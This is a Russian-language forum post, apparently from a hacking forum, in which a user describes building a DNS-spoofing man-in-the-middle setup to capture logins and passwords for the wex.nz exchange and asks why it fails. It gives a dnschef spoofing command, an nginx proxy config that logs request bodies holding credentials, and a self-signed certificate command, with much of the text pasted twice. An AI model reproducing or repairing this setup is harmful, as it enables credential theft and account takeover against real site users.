H
holden_mathers
Привет. Учусь подменять DNS для перехвата логина и пароля. Возникла проблема.
Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.
Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf
Далее указал ln -s /etc/nginx/sites-available/proxy.conf /etc/nginx/sites-enabled/
Больше никаких настроек на nginx не производил.
Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
94.*.*.128 - IP-адрес 1-ой машины (dnschef)
82.*.*.19 - IP-адрес 2-ой машины (nginx)
Результат:
Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).
И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.
Возможно проблема с proxy.conf?
Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.
Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf
Код:
log_format bodylog '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" $request_time '
'<"$request_body"';
server {
listen 80;
listen 443 ssl;
ssl_certificate /etc/nginx/ssl.crt;
ssl_certificate_key /etc/nginx/ssl.key;
access_log /var/log/nginx/lc.log bodylog;
server_name wex.nz;
resolver 8.8.8.8;
location / {
proxy_set_header Host $host;
proxy_pass https://$host$request_uri;
}
}
Больше никаких настроек на nginx не производил.
Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
Код:
python dnschef.py -i 94.*.*.128 --fakedomains=wex.nz --fakeip=82.*.*.19
82.*.*.19 - IP-адрес 2-ой машины (nginx)
Результат:
Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).
И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.
Возможно проблема с proxy.conf?
Последнее редактирование модератором: